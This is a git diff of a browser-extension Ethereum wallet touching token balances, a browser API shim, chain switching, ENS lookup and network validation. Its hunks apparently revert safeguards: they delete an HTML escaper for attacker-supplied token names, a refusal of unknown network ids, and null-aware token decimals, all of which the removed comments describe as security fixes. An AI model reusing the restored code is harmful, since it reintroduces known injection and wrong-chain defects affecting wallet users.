const type = String(item.token?.type || "").toUpperCase();
|
||||
if (type !== "ERC-20") continue;
|
||||
if (item.token?.type !== "ERC-20") continue;
|
||||
const decimals = parseInt(item.token.decimals || "18", 10);
|
||||
const bal = formatTokenBalance(item.value || "0", decimals);
|
||||
if (bal === "0.0") continue;
|
||||
|
||||
const tokenAddr = (item.token.address_hash || "").toLowerCase();
|
||||
|
||||
// What the explorer reported, or null. NEVER a default: this
|
||||
// value is written to state and every later reader — the approval
|
||||
// screen's amount line, the swap lines, the Send screen — takes it
|
||||
// as the token's resolved scale. A fabricated 18 reads exactly
|
||||
// like a real 18 at that point, so it does not merely display the
|
||||
// wrong quantity, it walks straight past the refusal those screens
|
||||
// already have for a scale nobody knows
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/349).
|
||||
const decimals = toDecimals(item.token.decimals);
|
||||
|
||||
const raw = rawUnits(item.value);
|
||||
// No usable amount at all is nothing to list, exactly as a
|
||||
// formatted "0.0" was before. Checked on the base-unit integer so
|
||||
// it does not depend on knowing the scale: zero base units is zero
|
||||
// tokens at every scale, and a value the explorer did not report
|
||||
// as an integer is not a holding.
|
||||
if (raw === null || raw === 0n) continue;
|
||||
|
||||
// The scale this row's balance is DISPLAYED at, which is not the
|
||||
// same question as what the explorer said. The bundled list and
|
||||
// the tokens the user tracks both outrank the explorer already
|
||||
// (resolveTokenDecimals), so a token they know keeps showing its
|
||||
// real quantity even when the explorer's entry omits decimals.
|
||||
// Only what neither of them nor the explorer knows is unknown.
|
||||
// The stored `decimals` above stays the explorer's own answer
|
||||
// either way: copying another source into it would make
|
||||
// explorerDecimals()'s disagreement check compare something other
|
||||
// than explorer values.
|
||||
const known = resolveTokenDecimals(tokenAddr, { trackedTokens });
|
||||
const scale = known !== null ? known : decimals;
|
||||
// null is a holding of an amount that cannot be stated, which is
|
||||
// not the same as a holding of zero, and must never render as one.
|
||||
// With a scale, the display filter proper applies: a balance that
|
||||
// rounds to zero at six places is dust and is not listed. Without
|
||||
// one there is no such judgement to make, and the row is kept.
|
||||
const bal = scale === null ? null : formatTokenBalance(raw, scale);
|
||||
if (bal === "0.0") continue;
|
||||
// null means the explorer reported no count, which is not the
|
||||
// same as a count of zero. This gate is not the low-holder
|
||||
// display filter: it has no user-facing off switch and governs
|
||||
@@ -182,15 +100,7 @@ async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
|
||||
address: item.token.address_hash,
|
||||
name: item.token.name || "",
|
||||
symbol: item.token.symbol || "???",
|
||||
// null means the explorer reported no usable scale — unknown,
|
||||
// not 18. Distinguishable from a real 18 at read time is the
|
||||
// entire point: resolveTokenDecimals() falls through a null to
|
||||
// its refusal, and takes an 18 as the answer.
|
||||
decimals: decimals,
|
||||
// null means nothing anywhere knows the scale, so there is no
|
||||
// token quantity to state. Not "0.0": a nonzero holding shown
|
||||
// as zero is the same lie in the balance list that the
|
||||
// approval screens refuse to tell.
|
||||
balance: bal,
|
||||
holders: holders,
|
||||
});
|
||||
@@ -203,15 +113,9 @@ async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
|
||||
}
|
||||
|
||||
// Fetch ETH balances, ENS names, and ERC-20 token balances for all addresses.
|
||||
async function refreshBalances(
|
||||
wallets,
|
||||
rpcUrl,
|
||||
blockscoutUrl,
|
||||
trackedTokens,
|
||||
networkId,
|
||||
) {
|
||||
async function refreshBalances(wallets, rpcUrl, blockscoutUrl, trackedTokens) {
|
||||
log.debugf("refreshBalances start, rpc:", rpcUrl);
|
||||
const provider = getProvider(rpcUrl, networkId);
|
||||
const provider = getProvider(rpcUrl);
|
||||
const updates = [];
|
||||
|
||||
for (const wallet of wallets) {
|
||||
@@ -284,9 +188,9 @@ async function refreshBalances(
|
||||
|
||||
// Look up token metadata from its contract.
|
||||
// Calls symbol() and decimals() to verify it implements ERC-20.
|
||||
async function lookupTokenInfo(contractAddress, rpcUrl, networkId) {
|
||||
async function lookupTokenInfo(contractAddress, rpcUrl) {
|
||||
log.debugf("lookupTokenInfo", contractAddress, "rpc:", rpcUrl);
|
||||
const provider = getProvider(rpcUrl, networkId);
|
||||
const provider = getProvider(rpcUrl);
|
||||
const contract = new Contract(contractAddress, ERC20_ABI, provider);
|
||||
|
||||
let name, symbol, decimals;
|
||||
@@ -326,9 +230,9 @@ async function lookupTokenInfo(contractAddress, rpcUrl, networkId) {
|
||||
// Checks gapLimit addresses in parallel per batch. Stops when an entire
|
||||
// batch has no used addresses (i.e. gapLimit consecutive empty addresses).
|
||||
// Returns { addresses: [{ address, index }], nextIndex }.
|
||||
async function scanForAddresses(xpub, rpcUrl, networkId, gapLimit = 5) {
|
||||
async function scanForAddresses(xpub, rpcUrl, gapLimit = 5) {
|
||||
log.debugf("scanForAddresses start, gapLimit:", gapLimit);
|
||||
const provider = getProvider(rpcUrl, networkId);
|
||||
const provider = getProvider(rpcUrl);
|
||||
const used = [];
|
||||
let checked = 0;
|
||||
let checkUpTo = gapLimit;
|
||||
|
||||
@@ -1,280 +0,0 @@
|
||||
// The one place in this tree that names `browser` or `chrome`.
|
||||
//
|
||||
// The two targets do not agree on the namespace, and they disagree about the
|
||||
// call shape only in which one is native. Chrome MV3 exposes `chrome.*`,
|
||||
// where tabs, windows and messaging take a trailing callback and report
|
||||
// failure through the global `chrome.runtime.lastError`. Firefox MV2 exposes
|
||||
// `browser.*`, where those same methods return promises — but, measured on
|
||||
// Firefox 153.0.3, it ALSO honours a trailing Chrome-style callback, returns
|
||||
// no promise when one is given, and populates `browser.runtime.lastError`.
|
||||
// The callback code that predated this module therefore ran on both, and
|
||||
// https://git.eeqj.de/sneak/AutistMask/issues/153 was filed on the belief
|
||||
// that it did not. This module exists for uniformity, not for repair: the
|
||||
// tree used to resolve the namespace with a ternary at six call sites and
|
||||
// then mix promise-form storage with callback-form messaging.
|
||||
//
|
||||
// The strategy is promises out, everywhere: one namespace, one call shape,
|
||||
// composing with the `async` handlers in the background. Callers `await`;
|
||||
// nothing outside this file has to know which browser it is running on.
|
||||
//
|
||||
// Two deliberate asymmetries, because they are what the browsers actually do
|
||||
// rather than what a uniform-looking shim would pretend:
|
||||
//
|
||||
// - Storage is called in its PROMISE form on both namespaces.
|
||||
// `chrome.storage.local.get()` returns a promise on MV3 and the popup
|
||||
// already depends on that — src/shared/state.js has always awaited it.
|
||||
// Wrapping it in a callback here would be a change, not a fix.
|
||||
// - notify() sends without a callback. It is for a message whose answer
|
||||
// nobody reads; appending a callback would only manufacture a
|
||||
// lastError/rejection for a receiver that was never expected to reply.
|
||||
//
|
||||
// Everything is resolved on use rather than captured at module load. The MV3
|
||||
// service worker is torn down and re-evaluated repeatedly, and the unit
|
||||
// suite installs its stubs on `global.chrome` around a require().
|
||||
|
||||
// The extension API namespace, preferring `browser.*` where it exists.
|
||||
//
|
||||
// Whole-namespace, never per-method: mixing `browser.tabs` with
|
||||
// `chrome.windows` would also mix promise and callback semantics inside a
|
||||
// single call path, which is the bug this module exists to remove.
|
||||
function extensionApi() {
|
||||
if (typeof browser !== "undefined" && browser) return browser;
|
||||
if (typeof chrome !== "undefined" && chrome) return chrome;
|
||||
return null;
|
||||
}
|
||||
|
||||
// True when the resolved namespace is the promise-flavoured one.
|
||||
//
|
||||
// It doubles as "this is the Gecko/MV2 build", which is a second question
|
||||
// with the same answer and one real caller: src/content/index.js has to
|
||||
// inject the inpage provider itself there, because MV2 has no
|
||||
// `"world": "MAIN"` for a manifest-declared content script.
|
||||
function hasBrowserNamespace() {
|
||||
return typeof browser !== "undefined" && !!browser;
|
||||
}
|
||||
|
||||
function namespaceMember(name) {
|
||||
const api = extensionApi();
|
||||
return (api && api[name]) || null;
|
||||
}
|
||||
|
||||
function runtimeApi() {
|
||||
return namespaceMember("runtime");
|
||||
}
|
||||
|
||||
function tabsApi() {
|
||||
return namespaceMember("tabs");
|
||||
}
|
||||
|
||||
function windowsApi() {
|
||||
return namespaceMember("windows");
|
||||
}
|
||||
|
||||
function alarmsApi() {
|
||||
return namespaceMember("alarms");
|
||||
}
|
||||
|
||||
// The toolbar button. MV3 calls it `action`, MV2 calls it `browserAction`.
|
||||
function actionApi() {
|
||||
const api = extensionApi();
|
||||
if (!api) return null;
|
||||
return api.action || api.browserAction || null;
|
||||
}
|
||||
|
||||
// `storage.local`, or null in a context that has no storage permission.
|
||||
//
|
||||
// Null rather than a throw for the one caller that genuinely degrades:
|
||||
// src/shared/phishingDomains.js falls back to its vendored blocklist and does
|
||||
// its own null check. Everything that reads or writes the wallet goes through
|
||||
// storageGet()/storageSet(), which reject instead — see there.
|
||||
function storageLocal() {
|
||||
const storage = namespaceMember("storage");
|
||||
return (storage && storage.local) || null;
|
||||
}
|
||||
|
||||
// The callback-path error channel. Read only from inside an appended
|
||||
// callback, i.e. only on the `chrome.*` path, where it is the sole way a
|
||||
// failure is reported. The background's three explicit lastError checks are
|
||||
// gone because invoke() turns it into a rejection before any caller sees it.
|
||||
function lastError() {
|
||||
const runtime = runtimeApi();
|
||||
return (runtime && runtime.lastError) || null;
|
||||
}
|
||||
|
||||
// Call `owner[method](...args)` and return a promise for its result.
|
||||
//
|
||||
// On the promise namespace the method already returns one. On the callback
|
||||
// namespace the callback is appended here and lastError becomes a rejection,
|
||||
// because a caller holding a promise has nowhere to check a global flag.
|
||||
function invoke(owner, method, ...args) {
|
||||
if (!owner || typeof owner[method] !== "function") {
|
||||
return Promise.reject(
|
||||
new Error(
|
||||
"extension API " +
|
||||
method +
|
||||
"() is not available in this context",
|
||||
),
|
||||
);
|
||||
}
|
||||
if (hasBrowserNamespace()) {
|
||||
try {
|
||||
return Promise.resolve(owner[method](...args));
|
||||
} catch (e) {
|
||||
return Promise.reject(e);
|
||||
}
|
||||
}
|
||||
return new Promise((resolve, reject) => {
|
||||
owner[method](...args, (result) => {
|
||||
const err = lastError();
|
||||
if (err) reject(new Error(err.message || String(err)));
|
||||
else resolve(result);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Send a message to the extension's own contexts and resolve with the reply.
|
||||
*
|
||||
* Rejects when nothing is listening, on both browsers. A caller that does not
|
||||
* care must say so — see notify().
|
||||
*
|
||||
* @param {Object} message
|
||||
* @returns {Promise<*>} the receiver's response.
|
||||
*/
|
||||
function sendMessage(message) {
|
||||
return invoke(runtimeApi(), "sendMessage", message);
|
||||
}
|
||||
|
||||
/**
|
||||
* Send a message nobody is expected to answer, and swallow the fact that
|
||||
* nobody did.
|
||||
*
|
||||
* @param {Object} message
|
||||
* @returns {void}
|
||||
*/
|
||||
function notify(message) {
|
||||
const runtime = runtimeApi();
|
||||
if (!runtime || typeof runtime.sendMessage !== "function") return;
|
||||
const result = runtime.sendMessage(message);
|
||||
// MV3 hands back a promise for a one-argument send, and it rejects when
|
||||
// the background is not listening. Unhandled, that surfaces as an error
|
||||
// the e2e suites fail the run on.
|
||||
if (result && typeof result.catch === "function") result.catch(() => {});
|
||||
}
|
||||
|
||||
// These two carry the wallet. A missing `storage.local` has to reject and not
|
||||
// default: resolving {} would make an existing wallet read back as no wallet,
|
||||
// and resolving a no-op write would discard the user's state with nothing
|
||||
// logged. A caller that wants to degrade takes storageLocal() directly.
|
||||
function storageUnavailable(method) {
|
||||
return Promise.reject(
|
||||
new Error("extension storage.local is not available: " + method),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param {string|string[]|Object} keys
|
||||
* @returns {Promise<Object>} the stored items.
|
||||
* @throws rejects where `storage.local` is absent.
|
||||
*/
|
||||
function storageGet(keys) {
|
||||
const storage = storageLocal();
|
||||
if (!storage) return storageUnavailable("get");
|
||||
return Promise.resolve(storage.get(keys));
|
||||
}
|
||||
|
||||
/**
|
||||
* @param {Object} items
|
||||
* @returns {Promise<void>}
|
||||
* @throws rejects where `storage.local` is absent.
|
||||
*/
|
||||
function storageSet(items) {
|
||||
const storage = storageLocal();
|
||||
if (!storage) return storageUnavailable("set");
|
||||
return Promise.resolve(storage.set(items));
|
||||
}
|
||||
|
||||
/**
|
||||
* Erase stored keys. The one caller is the destructive reset on the recovery
|
||||
* screen (src/popup/views/stateRecovery.js), which is the only way out of a
|
||||
* profile no build can read; it rejects rather than defaulting for the same
|
||||
* reason the two above do — a reset that silently did nothing would leave the
|
||||
* user in the dead end they were promised an exit from.
|
||||
*
|
||||
* @param {string|string[]} keys
|
||||
* @returns {Promise<void>}
|
||||
* @throws rejects where `storage.local` is absent.
|
||||
*/
|
||||
function storageRemove(keys) {
|
||||
const storage = storageLocal();
|
||||
if (!storage) return storageUnavailable("remove");
|
||||
return Promise.resolve(storage.remove(keys));
|
||||
}
|
||||
|
||||
/**
|
||||
* @param {Object} queryInfo
|
||||
* @returns {Promise<Array>} the matching tabs.
|
||||
*/
|
||||
function tabsQuery(queryInfo) {
|
||||
return invoke(tabsApi(), "query", queryInfo);
|
||||
}
|
||||
|
||||
/**
|
||||
* Send a message to one tab's content script.
|
||||
*
|
||||
* Rejects for a tab that has no receiver, which is most of them. That
|
||||
* rejection is the promise-shaped replacement for the runtime.lastError
|
||||
* checks the broadcast helpers used to make, and callers ignore it the same
|
||||
* way.
|
||||
*
|
||||
* @param {number} tabId
|
||||
* @param {Object} message
|
||||
* @returns {Promise<*>}
|
||||
*/
|
||||
function tabsSendMessage(tabId, message) {
|
||||
return invoke(tabsApi(), "sendMessage", tabId, message);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param {Object} createData
|
||||
* @returns {Promise<Object>} the created window.
|
||||
*/
|
||||
function windowsCreate(createData) {
|
||||
return invoke(windowsApi(), "create", createData);
|
||||
}
|
||||
|
||||
/**
|
||||
* @returns {Promise<Object>} the last focused window.
|
||||
*/
|
||||
function windowsGetLastFocused() {
|
||||
return invoke(windowsApi(), "getLastFocused");
|
||||
}
|
||||
|
||||
/**
|
||||
* @param {number} windowId
|
||||
* @returns {Promise<void>}
|
||||
*/
|
||||
function windowsRemove(windowId) {
|
||||
return invoke(windowsApi(), "remove", windowId);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
actionApi,
|
||||
alarmsApi,
|
||||
extensionApi,
|
||||
hasBrowserNamespace,
|
||||
notify,
|
||||
runtimeApi,
|
||||
sendMessage,
|
||||
storageGet,
|
||||
storageLocal,
|
||||
storageRemove,
|
||||
storageSet,
|
||||
tabsApi,
|
||||
tabsQuery,
|
||||
tabsSendMessage,
|
||||
windowsApi,
|
||||
windowsCreate,
|
||||
windowsGetLastFocused,
|
||||
windowsRemove,
|
||||
};
|
||||
@@ -1,23 +1,14 @@
|
||||
// Consolidated chain-switch handler for the popup.
|
||||
// Consolidated chain-switch handler.
|
||||
//
|
||||
// Every state change required when the active network changes is
|
||||
// performed here so that callers (settings UI, future chain additions) all go
|
||||
// performed here so that callers (settings UI, background
|
||||
// wallet_switchEthereumChain, future chain additions) all go
|
||||
// through a single code path.
|
||||
//
|
||||
// Adding a new chain (e.g. ETC) requires only a new entry in
|
||||
// networks.js — no per-caller wiring is needed.
|
||||
//
|
||||
// The background does NOT come through here: this function mutates the
|
||||
// module-level `state` singleton, which the MV3 service worker never
|
||||
// populates, and a background switch performed on it wrote DEFAULT_STATE over
|
||||
// the user's whole profile
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/316). The field mutations
|
||||
// themselves live in chainSwitchFields.js, which takes the record to mutate as
|
||||
// an argument; src/background/state.js applies them inside a read-modify-write
|
||||
// against storage, and the singleton is not reachable from the background
|
||||
// bundle at all (enforced by the ESLint rule in eslint.config.js).
|
||||
|
||||
const { applyChainSwitchFields } = require("./chainSwitchFields");
|
||||
const { networkById } = require("./networks");
|
||||
const { clearPrices } = require("./prices");
|
||||
|
||||
// Switch the active chain and reset all chain-specific cached state.
|
||||
@@ -25,14 +16,39 @@ const { clearPrices } = require("./prices");
|
||||
async function onChainSwitch(newNetworkId) {
|
||||
const { state, saveState } = require("./state");
|
||||
|
||||
const net = applyChainSwitchFields(state, newNetworkId);
|
||||
const net = networkById(newNetworkId);
|
||||
|
||||
// --- core identity ---
|
||||
state.networkId = net.id;
|
||||
state.rpcUrl = net.defaultRpcUrl;
|
||||
state.blockscoutUrl = net.defaultBlockscoutUrl;
|
||||
|
||||
// --- price cache ---
|
||||
// Prices are chain-specific (testnet tokens are worthless,
|
||||
// ETC has different pricing, etc.). In-memory and per bundle, so this is
|
||||
// the popup's own cache — the only context that ever fills it.
|
||||
// ETC has different pricing, etc.).
|
||||
clearPrices();
|
||||
|
||||
// --- balance / refresh state ---
|
||||
// Reset last-refresh timestamp so the next polling cycle
|
||||
// triggers an immediate balance refresh on the new chain.
|
||||
state.lastBalanceRefresh = 0;
|
||||
|
||||
// Clear per-address balances and token balances so stale data
|
||||
// from the previous chain is never displayed while the first
|
||||
// refresh on the new chain is in flight.
|
||||
for (const wallet of state.wallets) {
|
||||
for (const addr of wallet.addresses) {
|
||||
addr.balance = "0";
|
||||
addr.tokenBalances = [];
|
||||
}
|
||||
}
|
||||
|
||||
// --- chain-specific caches ---
|
||||
// Token holder counts and fraud contract lists are
|
||||
// chain-specific and must not carry over.
|
||||
state.tokenHolderCache = {};
|
||||
state.fraudContracts = [];
|
||||
|
||||
await saveState();
|
||||
|
||||
return net;
|
||||
|
||||
@@ -1,69 +0,0 @@
|
||||
// The field mutations a chain switch performs, applied to a state record
|
||||
// handed in rather than to the module-level `state` singleton.
|
||||
//
|
||||
// Split out of chainSwitch.js so the background can perform a chain switch
|
||||
// without the singleton being reachable from its bundle at all. The popup
|
||||
// still goes through onChainSwitch() (chainSwitch.js), which applies this to
|
||||
// the singleton and saves; the background applies it to the detached record of
|
||||
// its own read-modify-write (src/background/state.js).
|
||||
//
|
||||
// Everything here is synchronous and touches nothing but the object it is
|
||||
// given: no storage, no caches, no imports beyond the network table. That is
|
||||
// what makes it usable on a record that has been read fresh from storage
|
||||
// microseconds earlier and is about to be written back.
|
||||
|
||||
const { networkById } = require("./networks");
|
||||
|
||||
// Switch `s` to `newNetworkId` and reset every piece of chain-specific state
|
||||
// it carries. Returns the network configuration object for the new chain.
|
||||
function applyChainSwitchFields(s, newNetworkId) {
|
||||
const net = networkById(newNetworkId);
|
||||
|
||||
// --- core identity ---
|
||||
// Endpoints are remembered per network rather than reset to the
|
||||
// defaults, because a user who points the wallet at their own node has
|
||||
// no way to get that URL back once it is gone: overwriting it moved
|
||||
// every address and every transaction onto a third-party endpoint
|
||||
// silently and permanently.
|
||||
//
|
||||
// s.rpcUrl / s.blockscoutUrl stay the live endpoints of the active
|
||||
// network, so nothing that reads them changes. The invariant is that for
|
||||
// the ACTIVE network those two fields are authoritative and the map entry
|
||||
// may be stale (Settings writes the fields directly); for every other
|
||||
// network the map is authoritative. Snapshotting the outgoing network
|
||||
// here, before the switch, is what reconciles them.
|
||||
if (!s.networkEndpoints) s.networkEndpoints = {};
|
||||
s.networkEndpoints[s.networkId] = {
|
||||
rpcUrl: s.rpcUrl,
|
||||
blockscoutUrl: s.blockscoutUrl,
|
||||
};
|
||||
const remembered = s.networkEndpoints[net.id] || {};
|
||||
s.networkId = net.id;
|
||||
s.rpcUrl = remembered.rpcUrl || net.defaultRpcUrl;
|
||||
s.blockscoutUrl = remembered.blockscoutUrl || net.defaultBlockscoutUrl;
|
||||
|
||||
// --- balance / refresh state ---
|
||||
// Reset last-refresh timestamp so the next polling cycle
|
||||
// triggers an immediate balance refresh on the new chain.
|
||||
s.lastBalanceRefresh = 0;
|
||||
|
||||
// Clear per-address balances and token balances so stale data
|
||||
// from the previous chain is never displayed while the first
|
||||
// refresh on the new chain is in flight.
|
||||
for (const wallet of s.wallets || []) {
|
||||
for (const addr of wallet.addresses || []) {
|
||||
addr.balance = "0";
|
||||
addr.tokenBalances = [];
|
||||
}
|
||||
}
|
||||
|
||||
// --- chain-specific caches ---
|
||||
// Token holder counts and fraud contract lists are
|
||||
// chain-specific and must not carry over.
|
||||
s.tokenHolderCache = {};
|
||||
s.fraudContracts = [];
|
||||
|
||||
return net;
|
||||
}
|
||||
|
||||
module.exports = { applyChainSwitchFields };
|
||||
@@ -1,41 +0,0 @@
|
||||
// The one definition of how a domain becomes a blocklist entry.
|
||||
//
|
||||
// The vendored phishing blocklist ships digests, not domain names: see
|
||||
// phishingDomains.js for why, and script/vendor-blocklist for how the artifact
|
||||
// is produced. Both sides have to agree exactly — a mismatch would silently
|
||||
// match nothing, which is a blocklist that quietly protects no one — so the
|
||||
// rule lives here and is required by both rather than written down twice.
|
||||
//
|
||||
// sha256 truncated to 64 bits. Truncation is what keeps the artifact small
|
||||
// enough to bundle (16 hex characters per entry rather than 64), and 64 bits is
|
||||
// far past what this has to withstand: over ~10^5 entries the chance that any
|
||||
// hostname a user visits collides with an entry it is not is about 10^-14 per
|
||||
// lookup, and a deliberate collision buys an attacker a false phishing warning
|
||||
// on a site they do not control, not a missed one. For scale, Safe Browsing
|
||||
// distributes 32-bit prefixes and resolves the rest against a server; this is
|
||||
// 32 bits more, with no server involved.
|
||||
|
||||
const { sha256, toUtf8Bytes } = require("ethers");
|
||||
|
||||
const HASH_ALGORITHM = "sha256";
|
||||
const HASH_HEX_CHARS = 16;
|
||||
|
||||
/**
|
||||
* The blocklist entry for a domain: lowercased, hashed, truncated.
|
||||
*
|
||||
* @param {string} domain
|
||||
* @returns {string} HASH_HEX_CHARS lowercase hex characters, no 0x prefix.
|
||||
*/
|
||||
function hashDomain(domain) {
|
||||
// ethers returns "0x" + 64 hex characters.
|
||||
return sha256(toUtf8Bytes(domain.toLowerCase())).slice(
|
||||
2,
|
||||
2 + HASH_HEX_CHARS,
|
||||
);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
HASH_ALGORITHM,
|
||||
HASH_HEX_CHARS,
|
||||
hashDomain,
|
||||
};
|
||||
@@ -4,7 +4,8 @@
|
||||
//
|
||||
// POPUP ONLY. localStorage does not exist in the Chrome MV3 service worker,
|
||||
// so this module must not be pulled into src/background/. Anything the
|
||||
// background context needs to cache goes in extension storage instead.
|
||||
// background context needs to cache goes in extension storage instead (see
|
||||
// shared/phishingDomains.js).
|
||||
|
||||
const { getProvider } = require("./balances");
|
||||
const { log } = require("./log");
|
||||
@@ -32,11 +33,11 @@ function setCache(address, name) {
|
||||
localStorage.setItem(key, JSON.stringify({ name, ts: Date.now() }));
|
||||
}
|
||||
|
||||
async function resolveEnsName(address, rpcUrl, networkId) {
|
||||
async function resolveEnsName(address, rpcUrl) {
|
||||
const cached = getCached(address);
|
||||
if (cached !== undefined) return cached;
|
||||
|
||||
const provider = getProvider(rpcUrl, networkId);
|
||||
const provider = getProvider(rpcUrl);
|
||||
try {
|
||||
const name = (await provider.lookupAddress(address)) || null;
|
||||
setCache(address, name);
|
||||
@@ -48,11 +49,11 @@ async function resolveEnsName(address, rpcUrl, networkId) {
|
||||
}
|
||||
}
|
||||
|
||||
async function resolveEnsNames(addresses, rpcUrl, networkId) {
|
||||
async function resolveEnsNames(addresses, rpcUrl) {
|
||||
const results = new Map();
|
||||
await Promise.all(
|
||||
addresses.map(async (addr) => {
|
||||
results.set(addr, await resolveEnsName(addr, rpcUrl, networkId));
|
||||
results.set(addr, await resolveEnsName(addr, rpcUrl));
|
||||
}),
|
||||
);
|
||||
return results;
|
||||
|
||||
@@ -1,41 +0,0 @@
|
||||
// HTML escaping for values interpolated into an innerHTML string.
|
||||
//
|
||||
// Every view in src/popup/views/ builds markup by string concatenation, so
|
||||
// this is the only thing standing between a value the wallet did not author
|
||||
// and the extension's own DOM. The values that reach it are attacker
|
||||
// controlled by design: an ERC-20's symbol() and name() are whatever the
|
||||
// contract chooses to return, an ENS name is whatever the resolver returns,
|
||||
// and both arrive through the block explorer with no schema.
|
||||
//
|
||||
// It escapes both quote characters as well as the tag delimiters, because
|
||||
// the popup interpolates into attribute values as well as into element
|
||||
// text — copyableHtml() writes data-copy="..." and etherscanLinkHtml()
|
||||
// writes href="...". A `<`/`>`-only escape leaves an unquoted-attribute
|
||||
// break-out intact, and the round trip through a detached element's
|
||||
// textContent that used to implement this was exactly that escape: the
|
||||
// HTML serializer only escapes `&`, `<`, `>` and U+00A0 in a text node,
|
||||
// since a text node has no idea it is about to be pasted inside quotes.
|
||||
//
|
||||
// Deliberately a pure string function with no DOM dependency: it is called
|
||||
// on every rendered row, it is unit-testable without a document, and it
|
||||
// cannot be affected by the state of a document that an attacker-supplied
|
||||
// string has already been written into.
|
||||
|
||||
const HTML_ESCAPES = {
|
||||
"&": "&",
|
||||
"<": "<",
|
||||
">": ">",
|
||||
'"': """,
|
||||
"'": "'",
|
||||
};
|
||||
|
||||
// `&` is escaped first by virtue of being in the same pass: a sequential
|
||||
// replace would re-escape the ampersands it had just introduced.
|
||||
function escapeHtml(s) {
|
||||
if (s === null || s === undefined) return "";
|
||||
return String(s).replace(/[&<>"']/g, (c) => HTML_ESCAPES[c]);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
escapeHtml,
|
||||
};
|
||||
@@ -31,42 +31,8 @@ const SUPPORTED_CHAIN_IDS = new Set(
|
||||
Object.values(NETWORKS).map((n) => n.chainId),
|
||||
);
|
||||
|
||||
// Thrown rather than defaulted. An id this build does not know used to answer
|
||||
// with MAINNET, so a stored `{networkId:"base"}` rendered the selector as
|
||||
// Ethereum Mainnet with no banner and answered eth_chainId 0x1, while rpcUrl
|
||||
// still pointed at Base — the wallet telling the user and the page one chain
|
||||
// while transacting on another. Nothing in this codebase has an unknown id to
|
||||
// offer: stored state is validated against this table before it is loaded
|
||||
// (src/shared/stateSchema.js), and every other caller passes an id it took
|
||||
// from here. So an unknown id is a defect, and it says so, the same way
|
||||
// getProvider() (src/shared/balances.js) already refuses one.
|
||||
class UnknownNetworkError extends Error {
|
||||
constructor(id) {
|
||||
super(
|
||||
"AutistMask does not know the network " +
|
||||
JSON.stringify(id) +
|
||||
"; it supports " +
|
||||
Object.keys(NETWORKS).join(", "),
|
||||
);
|
||||
this.name = "UnknownNetworkError";
|
||||
this.networkId = id;
|
||||
}
|
||||
}
|
||||
|
||||
// Own properties only: NETWORKS inherits from Object.prototype, so
|
||||
// NETWORKS["constructor"] and NETWORKS["__proto__"] both answer with something
|
||||
// truthy that is not a network. A stored id is untrusted input, and this is
|
||||
// the test the validator uses to decide whether it may be adopted at all.
|
||||
function isKnownNetworkId(id) {
|
||||
return (
|
||||
typeof id === "string" &&
|
||||
Object.prototype.hasOwnProperty.call(NETWORKS, id)
|
||||
);
|
||||
}
|
||||
|
||||
function networkById(id) {
|
||||
if (!isKnownNetworkId(id)) throw new UnknownNetworkError(id);
|
||||
return NETWORKS[id];
|
||||
return NETWORKS[id] || NETWORKS.mainnet;
|
||||
}
|
||||
|
||||
function networkByChainId(chainId) {
|
||||
@@ -85,8 +51,6 @@ function explorerLink(network, type, value) {
|
||||
module.exports = {
|
||||
NETWORKS,
|
||||
SUPPORTED_CHAIN_IDS,
|
||||
UnknownNetworkError,
|
||||
isKnownNetworkId,
|
||||
networkById,
|
||||
networkByChainId,
|
||||
explorerLink,
|
||||
|
||||
@@ -1,425 +0,0 @@
|
||||
// The shape of the persisted profile, and the normalization every read of it
|
||||
// goes through. No singleton, no storage access, no browser API: just the
|
||||
// record definition and pure functions over it.
|
||||
//
|
||||
// Split out of state.js so that a context which must never touch the
|
||||
// module-level `state` singleton can still speak the same record format.
|
||||
// src/background/state.js is that context — the MV3 service worker never
|
||||
// populates the singleton, and every defect in
|
||||
// https://git.eeqj.de/sneak/AutistMask/issues/324 came from background code
|
||||
// reaching it anyway and being served DEFAULT_STATE.
|
||||
|
||||
const { DEFAULT_RPC_URL, DEFAULT_BLOCKSCOUT_URL } = require("./constants");
|
||||
const { isKnownNetworkId } = require("./networks");
|
||||
const { STATE_SCHEMA_VERSION } = require("./stateSchema");
|
||||
// Dependency-free constant module. It lives under src/shared/ rather than
|
||||
// src/popup/ precisely because this module is in the background bundle: a
|
||||
// popup-path module reached from the worker is the shape the prohibition in
|
||||
// script/lib/forbiddenBundleInputs.js exists to keep out, even when the
|
||||
// particular module is harmless.
|
||||
const { RESTORABLE_VIEWS } = require("./restorableViews");
|
||||
|
||||
const DEFAULT_STATE = {
|
||||
hasWallet: false,
|
||||
wallets: [],
|
||||
trackedTokens: [],
|
||||
networkId: "mainnet",
|
||||
rpcUrl: DEFAULT_RPC_URL,
|
||||
blockscoutUrl: DEFAULT_BLOCKSCOUT_URL,
|
||||
// Endpoints remembered per network: { [networkId]: { rpcUrl,
|
||||
// blockscoutUrl } }. rpcUrl/blockscoutUrl above are the live endpoints
|
||||
// of the active network; this is what the others are restored from
|
||||
// when the active network changes. See applyChainSwitchFields().
|
||||
networkEndpoints: {},
|
||||
lastBalanceRefresh: 0,
|
||||
activeAddress: null,
|
||||
allowedSites: {},
|
||||
deniedSites: {},
|
||||
rememberSiteChoice: true,
|
||||
showZeroBalanceTokens: true,
|
||||
hideSpoofedSymbols: true,
|
||||
hideLowHolderTokens: true,
|
||||
hideFraudContracts: true,
|
||||
hideDustTransactions: true,
|
||||
dustThresholdGwei: 100000,
|
||||
utcTimestamps: false,
|
||||
fraudContracts: [],
|
||||
tokenHolderCache: {},
|
||||
theme: "system",
|
||||
debugMode: false,
|
||||
};
|
||||
|
||||
// Every field written to and read from the single "autistmask" storage key.
|
||||
// hasWallet is deliberately excluded from the diffing/merge logic in
|
||||
// state.js — like loadState() does, it is always derived from `wallets`,
|
||||
// never carried as an independent value. schemaVersion is excluded for the
|
||||
// same reason and is absent from DEFAULT_STATE for it: it describes the
|
||||
// record rather than being part of it, and every write stamps the current
|
||||
// value rather than diffing whatever was read.
|
||||
const PERSISTED_FIELDS = Object.keys(DEFAULT_STATE)
|
||||
.filter((key) => key !== "hasWallet")
|
||||
.concat([
|
||||
"currentView",
|
||||
"selectedWallet",
